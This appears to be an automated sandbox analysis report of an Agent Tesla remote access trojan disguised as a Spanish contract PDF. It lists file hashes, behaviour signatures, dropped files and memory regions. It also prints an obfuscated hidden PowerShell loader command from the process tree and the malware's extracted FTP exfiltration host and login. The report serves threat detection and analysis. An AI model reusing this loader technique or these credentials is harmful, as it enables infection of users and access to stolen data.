Analysis

  • max time kernel
    2s
  • max time network
    11s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20231127-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20231127-enlocale:en-usos:windows10-2004-x64system
  • submitted
    07-12-2023 16:47

General

  • Target

    ANÁLISIS DEL CONTRATO-pdf.exe

  • Size

    703KB

  • MD5

    1a19d3b35592f19f97ad7c43b0a875e6

  • SHA1

    38fd4bb32e9b5a0d58413954bed06aadb3e714ba

  • SHA256

    35e6acc4ddeace130bae6e47e1e1062862fd7f6b4fecf8136dd3e109c5011aa4

  • SHA512

    8f9de97ca969b26809fc47101091c20895bcc35793a331d22cc7fa32929fcc2229eb7b99b44d3a070431adc0795d5c81175e8fb98688a73382d72d4ad3ebf0f4

  • SSDEEP

    12288:ywFGHEJsv/EqlEyhS6fOaoceSZylgimtdYM3O0V7bbb:y5HEJsHEqlHSkElgZtub0V7j

Malware Config

Extracted

Family

agenttesla

Credentials

  • Protocol:
    ftp
  • Host:
    ftp://ftp.vvspijkenisse.nl
  • Port:
    21
  • Username:
    [email protected]
  • Password:
    playingboyz231

Signatures

  • AgentTesla

    Agent Tesla is a remote access tool (RAT) written in visual basic.

  • Drops file in System32 directory 1 IoCs
  • Drops file in Program Files directory 4 IoCs
  • Drops file in Windows directory 3 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\ANÁLISIS DEL CONTRATO-pdf.exe
    "C:\Users\Admin\AppData\Local\Temp\ANÁLISIS DEL CONTRATO-pdf.exe"
    1⤵
    • Drops file in System32 directory
    • Drops file in Program Files directory
    • Drops file in Windows directory
    • Suspicious use of WriteProcessMemory
    PID:560
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" -windowstyle hidden "$Raastegendes=Get-Content 'C:\Users\Admin\AppData\Roaming\gregerss\dagbger\Nondesulfurization\Tetrodotoxin\Uglegylpet225\Rejsebureau\Forsyningsskib.Evi';$Impoundage=$Raastegendes.SubString(56924,3);.$Impoundage($Raastegendes)"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4576
      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe"
        3⤵
          PID:5044
          • C:\Windows\SysWOW64\WerFault.exe
            C:\Windows\SysWOW64\WerFault.exe -u -p 5044 -s 1868
            4⤵
            • Program crash
            PID:4740
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -pss -s 440 -p 5044 -ip 5044
      1⤵
        PID:3536

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

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      Downloads

      • C:\Users\Admin\AppData\Local\Temp\Rkkens.ini

        Filesize

        32B

        MD5

        a8ca1db6ae34f5e5c152094f44f92476

        SHA1

        9fe0fd4e6907c4f9099d2533c3bade4ffa0968e7

        SHA256

        1f0dbc97d6570f2f5a1e18f82842c9a0007e568ca8fb768c123637ef5077aad3

        SHA512

        e48e987e1f8297b17f7fb5b8b34da6131156834310987600b20b0dcff4c43632ccb4b2305030a4a999f783176d480c8300e6aef92afbb2032379eca6dac88b5a

      • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_mn4p0cyo.pwa.ps1

        Filesize

        60B

        MD5

        d17fe0a3f47be24a6453e9ef58c94641

        SHA1

        6ab83620379fc69f80c0242105ddffd7d98d5d9d

        SHA256

        96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

        SHA512

        5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

      • C:\Users\Admin\AppData\Roaming\gregerss\dagbger\Nondesulfurization\Tetrodotoxin\Uglegylpet225\Rejsebureau\Forsyningsskib.Evi

        Filesize

        55KB

        MD5

        b2c54dadf0aec1e7b39900949f8d1679

        SHA1

        2e4c3297515729015c62453cc6fb44f629e89f4e

        SHA256

        b7460b0941c2246ab083dc1d337ba1f1dcc78c0372b7cc1c7e1378b56895846e

        SHA512

        7b9fb5354681317348e8c38c2698b6fd10cdba6d0022c2c6e5036094c4a18c2daf2ce5d596256a97114003b1cdc10ae0cf944846fb25ed5e3117f16c9a864f74

      • C:\Users\Admin\AppData\Roaming\gregerss\dagbger\Nondesulfurization\Tetrodotoxin\Uglegylpet225\Rejsebureau\Senaternes.Roy

        Filesize

        295KB

        MD5

        0a7d7f667c023342453da0b0e1acfa13

        SHA1

        d0afd80a5fba0e1ef7388144ff2962fd171f79d1

        SHA256

        667135c582b072003c3f6781280df0a00da6830e3efcb7a5e8e53f8f32cf650e

        SHA512

        702661ed98f65d13afc5a6184881561deb3eea979a5a1bbcf1f22eab537e723a3a644eb7878b15ad71a062faa2d521fd706e2bf37ca9345a501c9b39004721d2

      • memory/4576-176-0x00000000055F0000-0x0000000005944000-memory.dmp

        Filesize

        3.3MB

      • memory/4576-161-0x0000000004730000-0x0000000004740000-memory.dmp

        Filesize

        64KB

      • memory/4576-164-0x0000000004C20000-0x0000000004C42000-memory.dmp

        Filesize

        136KB

      • memory/4576-165-0x0000000005510000-0x0000000005576000-memory.dmp

        Filesize

        408KB

      • memory/4576-162-0x0000000004730000-0x0000000004740000-memory.dmp

        Filesize

        64KB

      • memory/4576-166-0x0000000005580000-0x00000000055E6000-memory.dmp

        Filesize

        408KB

      • memory/4576-160-0x00000000025E0000-0x0000000002616000-memory.dmp

        Filesize

        216KB

      • memory/4576-177-0x0000000005BC0000-0x0000000005BDE000-memory.dmp

        Filesize

        120KB

      • memory/4576-189-0x00000000084C0000-0x00000000097C9000-memory.dmp

        Filesize

        19.0MB

      • memory/4576-179-0x0000000004730000-0x0000000004740000-memory.dmp

        Filesize

        64KB

      • memory/4576-182-0x0000000006120000-0x0000000006142000-memory.dmp

        Filesize

        136KB

      • memory/4576-181-0x0000000006100000-0x000000000611A000-memory.dmp

        Filesize

        104KB

      • memory/4576-183-0x0000000007210000-0x00000000077B4000-memory.dmp

        Filesize

        5.6MB

      • memory/4576-204-0x00000000084C0000-0x00000000097C9000-memory.dmp

        Filesize

        19.0MB

      • memory/4576-180-0x0000000006BC0000-0x0000000006C56000-memory.dmp

        Filesize

        600KB

      • memory/4576-185-0x0000000007E40000-0x00000000084BA000-memory.dmp

        Filesize

        6.5MB

      • memory/4576-159-0x0000000073810000-0x0000000073FC0000-memory.dmp

        Filesize

        7.7MB

      • memory/4576-188-0x0000000007160000-0x0000000007164000-memory.dmp

        Filesize

        16KB

      • memory/4576-178-0x0000000005C00000-0x0000000005C4C000-memory.dmp

        Filesize

        304KB

      • memory/4576-163-0x0000000004D70000-0x0000000005398000-memory.dmp

        Filesize

        6.2MB

      • memory/4576-190-0x00000000084C0000-0x00000000097C9000-memory.dmp

        Filesize

        19.0MB

      • memory/4576-195-0x0000000004730000-0x0000000004740000-memory.dmp

        Filesize

        64KB

      • memory/4576-194-0x0000000077471000-0x0000000077591000-memory.dmp

        Filesize

        1.1MB

      • memory/4576-193-0x0000000004730000-0x0000000004740000-memory.dmp

        Filesize

        64KB

      • memory/4576-196-0x0000000004730000-0x0000000004740000-memory.dmp

        Filesize

        64KB

      • memory/4576-191-0x0000000073810000-0x0000000073FC0000-memory.dmp

        Filesize

        7.7MB

      • memory/4576-207-0x00000000084C0000-0x00000000097C9000-memory.dmp

        Filesize

        19.0MB

      • memory/4576-202-0x0000000073810000-0x0000000073FC0000-memory.dmp

        Filesize

        7.7MB

      • memory/5044-208-0x0000000000530000-0x0000000001839000-memory.dmp

        Filesize

        19.0MB

      • memory/5044-201-0x0000000000530000-0x0000000001839000-memory.dmp

        Filesize

        19.0MB

      • memory/5044-200-0x000000006E610000-0x000000006F864000-memory.dmp

        Filesize

        18.3MB

      • memory/5044-203-0x000000006E610000-0x000000006E650000-memory.dmp

        Filesize

        256KB

      • memory/5044-198-0x00000000774F8000-0x00000000774F9000-memory.dmp

        Filesize

        4KB

      • memory/5044-199-0x0000000077471000-0x0000000077591000-memory.dmp

        Filesize

        1.1MB

      • memory/5044-206-0x000000001F9F0000-0x000000001FA00000-memory.dmp

        Filesize

        64KB

      • memory/5044-205-0x0000000073810000-0x0000000073FC0000-memory.dmp

        Filesize

        7.7MB

      • memory/5044-197-0x0000000000530000-0x0000000001839000-memory.dmp

        Filesize

        19.0MB

      • memory/5044-210-0x0000000073810000-0x0000000073FC0000-memory.dmp

        Filesize

        7.7MB